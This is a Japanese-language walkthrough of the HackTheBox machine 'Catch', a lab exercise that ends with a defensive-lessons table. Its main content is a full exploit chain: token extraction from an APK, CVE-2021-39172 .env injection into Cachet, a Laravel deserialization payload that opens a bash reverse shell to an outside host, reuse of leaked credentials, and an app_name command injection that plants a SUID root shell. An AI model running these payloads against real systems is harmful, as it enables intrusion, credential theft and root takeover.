HackTheBox: Catch — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/3000/5000/8000
→
22/80/3000/5000/8000
catchv1.0.apk 取得
apktoolでデコンパイル
→
apktoolでデコンパイル
lets_chat_token 抽出
strings.xml内の埋め込みトークン
→
strings.xml内の埋め込みトークン
Let’s Chat API
status roomのjohn認証情報リーク
→
status roomのjohn認証情報リーク
CVE-2021-39172
.env設定注入→Redis乗っ取り
→
.env設定注入→Redis乗っ取り
PHPデシリアライズRCE
Laravel PendingBroadcastガジェット
→
Laravel PendingBroadcastガジェット
www-data → will
.envのDB creds → SSH → user.txt ✓
→
.envのDB creds → SSH → user.txt ✓
verify.sh app_check()
APKのapp_nameコマンドインジェクション
→
APKのapp_nameコマンドインジェクション
SUID bash → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmapバージョン・スクリプトスキャン
BASH
nmap -p 22,80,3000,5000,8000 -sCV 10.129.67.184
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Catch Global Systems 3000/tcp open http Golang net/http server | GetRequest: | Set-Cookie: i_like_gitea=2eaaa07430613421; Path=/; HttpOnly | <title> Catch Repositories </title> 5000/tcp open upnp? | GetRequest: | HTTP/1.1 302 Found | Location: /login | Set-Cookie: connect.sid=s%3A6Pa7XlqgLip2g... 8000/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Catch Global Systems Service Info: OS: Linux
🚨
重要発見: 5台構成のマルチサービス環境。ポート80は「Catch Global Systems」の企業サイト
(静的コンテンツ)、ポート3000はGitea (Cookie名
i_like_gitea で特定)、
ポート5000は”Let’s Chat” (connect.sid Cookie、Node.js/Express製)、
ポート8000は別のApacheインスタンスでCachetステータスページシステムが稼働。
ポート80/8000で Apache/2.4.41 と Apache/2.4.29 の2つの異なるバージョンが
混在しており、ポート8000はDockerコンテナ内で稼働していることが示唆される。
ポート80: Catch Global Systems (企業サイト)
BASH
curl -s http://10.129.67.184/ | grep -io 'catchv[0-9.]*\.apk'
RESULT
catchv1.0.apk
📱
トップページのリンクはほぼ全てダミーだが、「Download Now」ボタンだけが実際に
catchv1.0.apk というAndroidアプリをダウンロードさせる。
本マシンでは、この場所しか実質的な攻撃対象になり得ない — つまりAndroidアプリの
リバースエンジニアリングが攻略の起点になる。
ポート8000: Cachetステータスページ
BASH
curl -sI http://10.129.67.184:8000/
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkgrWktxa0JHT0M4bkNpdlZFV2JSemc9PSIs...
Set-Cookie: laravel_session=eyJpdiI6IlhBMVlCbnVDZnVVREdGZ1ZoQ20ra1E9...
Content-Type: text/html; charset=UTF-8
✅
XSRF-TOKEN / laravel_session CookieからPHP Laravelフレームワーク製
であることが判明。フッターとログインフォームからCachet (OSSステータスページシステム) と特定。
Cachetには2021年に複数のCVE (CVE-2021-39165 SQLi、CVE-2021-39172/39173/39174 設定注入RCE系) が
公開されており、いずれも本マシンの攻略に利用できる。
PHASE 2
Androidアプリ (catchv1.0.apk) のリバースエンジニアリング
APKのダウンロードとapktoolでのデコンパイル
BASH
curl -s -o catchv1.0.apk http://10.129.67.184/catchv1.0.apk apktool d -f catchv1.0.apk -o decomp
RESULT
I: Using Apktool 2.7.0-dirty on catchv1.0.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
💡
MobSF等の静的解析ツールでこのAPKを解析すると「Hardcoded Secrets」として複数のAPIトークン
(
gitea_token / lets_chat_token / slack_token) が
検出される。これらは開発者が誤って本番ビルドに埋め込んでしまった認証情報。
AndroidManifest.xml によれば、アプリのエントリポイントは
com.example.acatch.MainActivity で、WebViewを使い
status.catch.htb (Cachetステータスページ) をロードするだけの単純な構成。
strings.xml から埋め込みトークンを抽出
BASH
grep -i "token\|app_name" decomp/res/values/strings.xml
RESULT
<string name="app_name">Catch</string>
<string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
<string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
<string name="slack_token">xoxp-23984754863-2348975623103</string>
🚨
lets_chat_token をBase64デコードすると
<24桁hexのユーザーID>:<40桁hexのハッシュ> という形式になっており、
Let’s Chat APIの認証トークンとして直接利用できる。gitea_token はGitea Swagger UI
から試したが無効 (Gitea側では既に失効/別用途) だった。この
lets_chat_token の値は、別セッションでAPKを再取得しても完全に一致する静的な値である
ことを確認済み — つまりインスタンスを再生成しても使い回せる。
PHASE 3
Let’s Chat API 悪用 — johnのCachet認証情報リーク
Bearerトークンでチャットルーム一覧取得
BASH
export token="NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" curl -s http://10.129.67.184:5000/rooms -H "Authorization: Bearer $token" | jq .
RESULT
[
{ "id": "61b86b28d984e2451036eb17", "slug": "status", "name": "Status",
"description": "Cachet Updates and Maintenance" },
{ "id": "61b8708efe190b466d476bfb", "slug": "android_dev", "name": "Android Development" },
{ "id": "61b86b3fd984e2451036eb18", "slug": "employees", "name": "Employees" }
]
✅
トークン認証成功。「Rooms」「Messages」「Files」「Users」「Account」のAPIが利用可能で、
認証なしでは
Unauthorized が返る。3つのルームのうち status が
「Cachet Updates and Maintenance」という説明を持ち最も怪しい。
statusルームのメッセージ履歴からjohnの認証情報を取得
BASH
curl -s http://10.129.67.184:5000/rooms/61b86b28d984e2451036eb17/messages \ -H "Authorization: Bearer $token" \ | jq -c '. | reverse | .[] | [.text, .owner]'
RESULT
["Hey Team! I'll be handling the `status.catch.htb` from now on...", "..."]
["Can you create an account for me ? ", "..."]
["Sure one sec.", "..."]
["Here are the credentials `john : E}V!mywu_69T4C}W`", "..."]
["@john is it possible to add SSL to our status domain...", "..."]
🚨
認証情報漏洩: チャットログに平文で
john : E}V!mywu_69T4C}W
というCachet用の認証情報が残っている。この値はSSHログインには使えない
(Permission denied) が、Cachet管理画面 (port 8000) へのログインには成功する。
PHASE 4
CVE-2021-39172 (.env設定注入) → Redisデシリアライズ RCE → user.txt
johnでCachetにログイン
PYTHON
import requests, re
s = requests.Session()
r = s.get("http://10.129.67.184:8000/auth/login")
token = re.search(r'name="_token" value="([^"]+)"', r.text).group(1)
data = {"_token": token, "username": "john", "password": "E}V!mywu_69T4C}W", "remember_me": "0"}
r = s.post("http://10.129.67.184:8000/auth/login", data=data)
print(r.status_code, r.url)
RESULT
200 http://10.129.67.184:8000/dashboard
📝
ログインフォームのフィールド名は
email ではなく username
(HTMLソースの <input name="username"> で確認)。/dashboard
へのリダイレクトが確認でき、ログイン成功。
CVE-2021-39172: Mail設定フォームで .env に任意行を注入
NOTE
Cachetの「Settings > Mail」フォームはPOSTボディで config[mail_driver] 等を 送信し、その値を .env ファイルに書き込む。Laravelの .env パーサーは1行1変数 だが、このバリデーションには「送信するキー名」自体へのチェックが無いため、 本来 config[mail_driver] であるべきキー名を config[cache_driver] に 差し替えて送信すると、.env に全く別の変数 (CACHE_DRIVER) を上書き注入できる。 さらに値に \r\n を含めることで複数行 (複数の環境変数) を一度に注入できる。 Laravelの .env パーサーは「同名キーが複数あれば最初の定義が有効」という 仕様のため、注入した行が既存の正規定義より前に来れば確実に上書きできる。
PYTHON
r = s.get("http://10.129.67.184:8000/dashboard/settings/mail")
token = re.search(r'name="_token" value="([^"]+)"', r.text).group(1)
payload_value = "file\r\nREDIS_HOST=10.10.15.200\r\nREDIS_PORT=6379\r\nSESSION_DRIVER=redis"
data = {
"_token": token,
"config[cache_driver]": payload_value, # config[mail_driver] の代わりに送信
"config[mail_host]": "", "config[mail_address]": "notify@example.com",
"config[mail_username]": "", "config[mail_password]": "",
}
s.post("http://10.129.67.184:8000/dashboard/settings/mail", data=data)
✅
送信後、Cachetのセッションキャッシュ先が攻撃者のRedisサーバ (Kali自身) に切り替わる。
この設定は一定時間で自動リセットされるため、次のRCEステップまでを手早く行う必要がある。
Redisにキャッシュされたセッションを不正なPHPシリアライズオブジェクトに差し替え
BASH
# 自分のRedisサーバを起動 (攻撃対象からアクセスできるよう全interfaceでlisten) redis-server --protected-mode no --bind 0.0.0.0 --port 6379 --daemonize yes
PYTHON
# 未認証セッションを新規発行させ、対応するRedisキーを特定
before = set(subprocess.run(["redis-cli","-h","127.0.0.1","keys","*"],
capture_output=True, text=True).stdout.splitlines())
victim = requests.Session()
victim.get("http://10.129.67.184:8000/auth/login")
after = set(subprocess.run(["redis-cli","-h","127.0.0.1","keys","*"],
capture_output=True, text=True).stdout.splitlines())
key = (after - before).pop() # 例: laravel:NlvdlHxV8PSgXecoqhGJE590H7kvx89fGkRthEZy
# リバースシェルを起動するsystem()呼び出しをLaravel/RCE4ガジェットで組み立て
rev_b64 = base64.b64encode(b"bash -i >& /dev/tcp/10.10.15.200/44441 0>&1 ").decode()
cmd = f"echo {rev_b64}|base64 -d|bash"
payload = (
'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{'
'S:9:"\\00*\\00events";O:31:"Illuminate\\Validation\\Validator":1:{'
'S:10:"extensions";a:1:{S:0:"";S:6:"system";}}'
f'S:8:"\\00*\\00event";S:{len(cmd)}:"{cmd}";}}'
)
subprocess.run(["redis-cli","-h","127.0.0.1","set", key, payload])
# 同一セッションで再アクセス → デシリアライズ時にRCE発火
victim.get("http://10.129.67.184:8000/auth/login", timeout=6) # (ハングするのが正常)
RESULT (nc リスナー側)
$ nc -lnvp 44441 listening on [any] 44441 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.67.184] 52232 bash: cannot set terminal process group (26): Inappropriate ioctl for device bash: no job control in this shell www-data@f69a3a4bdd23:/var/www/html/Cachet/public$
✅
RCE成功!
Illuminate\Broadcasting\PendingBroadcast の
__destruct が、Illuminate\Validation\Validator の
extensions 配列に登録した "system" を関数として呼び出す
ガジェットチェーン (phpggc Laravel/RCE4 相当) により、www-dataコンテナ内で
任意コマンド実行に成功。ホスト名 f69a3a4bdd23 からDockerコンテナ内であることが分かる。
.env から DB 認証情報 (will) を取得 → SSH → user.txt
BASH
www-data@f69a3a4bdd23:$ cat /var/www/html/Cachet/.env
RESULT
APP_ENV=production ... DB_DRIVER=mysql DB_HOST=localhost DB_DATABASE=cachet DB_USERNAME=will DB_PASSWORD=s2#4Fg0_%3!
BASH
sshpass -p 's2#4Fg0_%3!' ssh will@10.129.67.184 "cat ~/user.txt"
RESULT
d3845a06cfcc99b7d63b7dd2b2f6ca3e
user.txt — will@catch
d3845a06cfcc99b7d63b7dd2b2f6ca3e
💡
Cachetのコンテナ用DB認証情報が、そのままホスト側OSユーザー will の SSH パスワードとしても
使い回されている。コンテナ→ホストの権限境界がこの認証情報の使い回しによって
実質的に無効化されている。
PHASE 5
権限昇格の下調べ — MDM検証スクリプト verify.sh
/opt/mdm/ の発見と pspy によるプロセス監視
BASH
will@catch:/opt$ ls containerd mdm will@catch:/opt/mdm$ ls apk_bin verify.sh
BASH
# pspy64 をアップロードしてプロセス監視 scp /opt/pspy/pspy64 will@10.129.67.184:/dev/shm/ ./pspy64
RESULT
2022/06/29 19:25:01 CMD: UID=0 PID=1000440 | /bin/bash /opt/mdm/verify.sh
🚨
/opt/mdm/verify.sh がroot権限で毎分実行されている。
MDM (Mobile Device Management) の検証スクリプトで、/opt/mdm/apk_bin/ に
置かれたAPKファイルを自動的に検証する仕組みらしい。
verify.sh のソースコード解析 — app_check() のコマンドインジェクション
BASH
will@catch:/opt/mdm$ cat verify.sh
RESULT (抜粋)
DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin
for IN_APK_NAME in $DROPBOX/*.apk; do
...
sig_check $IN_FOLDER $APK_NAME
comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN # ここでAPKをデコンパイル
app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup
app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
else
echo "[!] App doesn't belong to Catch Global"
cleanup; exit
fi
}
🚨
コマンドインジェクション脆弱性:
app_check() は
アップロードされたAPKの strings.xml から app_name の値を
ダブルクォートで囲まずに echo -n $APP_NAME でシェルへ渡している。
app_name の値に “Catch” という部分文字列さえ含んでいれば
$(...) サブシェル構文によるコマンド注入が成立する。root権限で毎分実行される
ため、悪意あるAPKを /opt/mdm/apk_bin/ に置くだけでroot化できる。
PHASE 6
APK app_name コマンドインジェクション → root.txt
APKを改変 (app_nameにペイロードを注入)
BASH
# decomp/res/values/strings.xml の app_name を書き換え <string name="app_name">Catch$(cp /bin/bash /tmp/0xdf; chmod 4777 /tmp/0xdf)</string> apktool b --use-aapt2 -f decomp -o modified.apk
⚠️
トラブルシューティング: 素の
apktool b は、このAPKが持つ
パスワード表示アイコンのAnimated Vector Drawable (avd_hide_password 等) が
デコンパイル時に生成する先頭 $ 付きファイル名 ($avd_hide_password__0.xml)
がAndroidのリソース名規則 [a-z0-9_.] に違反するため、
Invalid file name エラーで再ビルドに失敗する。また
システムの古い aapt (AOSP由来のv0.2-debianビルド) は
"First type is not attr!" という別のクラッシュも起こす。
$ を除去してファイル名と全参照 (public.xml 等) をリネームし、
--use-aapt2 を明示することでどちらも回避できる。
改変APKを /opt/mdm/apk_bin/ にアップロードし cron を待つ
BASH
sshpass -p 's2#4Fg0_%3!' scp modified.apk will@10.129.67.184:/opt/mdm/apk_bin/evil.apk # 1分ほど待って確認 sshpass -p 's2#4Fg0_%3!' ssh will@10.129.67.184 "ls -la /tmp/0xdf"
RESULT
-rwsrwxrwx 1 root root 1183448 Sep 23 05:54 /tmp/0xdf
✅
verify.sh の次のcronサイクル (最大1分待ち) で app_check() が発火し、
/bin/bash のコピーが /tmp/0xdf にSUID (root所有・4777) 付きで
設置された。
SUID bash で root.txt を直接取得
BASH
sshpass -p 's2#4Fg0_%3!' ssh will@10.129.67.184 "/tmp/0xdf -p -c 'cat /root/root.txt'"
RESULT
9ab198d30375c8f81b9280e368f80ac5
root.txt — root@catch
9ab198d30375c8f81b9280e368f80ac5
💡
bashの
-p オプション (privileged mode) は、実効uidと実uidが異なる状態で
起動された際に実効uidを実uidへ落とさない特権保持モード。SUIDビットの付いた
/tmp/0xdf を -p -c '<コマンド>' の形で直接実行するだけで、
対話的PTYを一切確立せずにroot権限でのワンショット・コマンド実行が可能。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — will@catch
d3845a06cfcc99b7d63b7dd2b2f6ca3e
root.txt — root@catch
9ab198d30375c8f81b9280e368f80ac5
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| ハードコードAPIトークン | catchv1.0.apk (Android) | 内部チャットサービスへの認証 | Medium | apktoolでデコンパイルし strings.xml から lets_chat_token を抽出 |
| 平文認証情報の記録 | Let’s Chat (port 5000) | Cachet管理者(john)アカウントの奪取 | Medium | チャットログAPIをトークン認証で読み出し、平文パスワードを取得 |
| CVE-2021-39172 | Cachet 2.4 (.env設定注入) | リモートコード実行 (www-data) | Critical | Mail設定フォームのパラメータ名差し替えで .env にRedis乗っ取り設定を注入し、
セッションデシリアライズ経由でPHPガジェットチェーンRCE |
| DB認証情報の使い回し | Cachet .env → OSユーザー will | コンテナ→ホストの権限境界突破 (SSH) | High | コンテナ内 .env のMySQL認証情報がそのままホストOSユーザーのSSHパスワードとして機能 |
| MDM検証スクリプトのコマンドインジェクション | /opt/mdm/verify.sh (root, minutely cron) | 権限昇格 (root) | Critical | APKの app_name 文字列リソースを未クォートでシェルへ渡す実装ミスを突き、
$(...) サブシェル構文でSUID bashを設置 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap (22/80/3000/5000/8000) | Gitea・Let’s Chat・Cachetの多重Webサービス構成を特定 |
| 2 | APK解析 | apktool d + strings.xml | lets_chat_token (Let’s Chat Bearerトークン) 抽出 |
| 3 | 資格情報リーク | Let’s Chat API (/rooms, /messages) | Cachet用 john の平文パスワード取得 |
| 4 | RCE & エクスプロイト | CVE-2021-39172 (.env注入 + Redisデシリアライズ) | user.txt 取得 (willシェル) |
| 5 | 権限調査 | pspy + verify.sh ソース解析 | root権限cronのAPKコマンドインジェクション発見 |
| 6 | 権限昇格 | app_name コマンドインジェクション + SUID bash | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Androidアプリのビルド成果物にAPI認証トークンが平文で埋め込まれている | シークレットはビルド時に注入し、クライアント配布物には含めない。BuildConfig/strings.xmlへの 直接埋め込みを避け、サーバサイドでトークンを発行する設計に変更する。 |
| チャットサービスに平文パスワードがそのまま投稿・保存されている | 認証情報の共有はパスワードマネージャー等の専用チャネルで行い、チャットログには残さない 運用ルールを徹底する。 |
Cachetの設定更新フォームがパラメータ名の検証なしに .env へ直接書き込む |
許可された設定キーのホワイトリストを設け、任意のキー名を受理しないようサーバ側で 厳格にバリデーションする。CVE-2021-39172のパッチを適用しCachetを最新版へ更新する。 |
| コンテナ内DB認証情報がホストOSユーザーのパスワードと同一 | コンテナとホストで認証情報を完全に分離する。パスワードの使い回しを禁止し、 最小権限のサービスアカウントを個別に発行する。 |
| root権限cronスクリプトが外部入力 (APKのapp_name) を未クォートでシェルへ渡している | シェル変数は必ずダブルクォートで囲む ("$APP_NAME")。外部由来のファイル内容を
信頼せず、コマンド実行が必要な場合は配列渡し/execveベースのAPIを使いシェル解釈を経由しない。 |

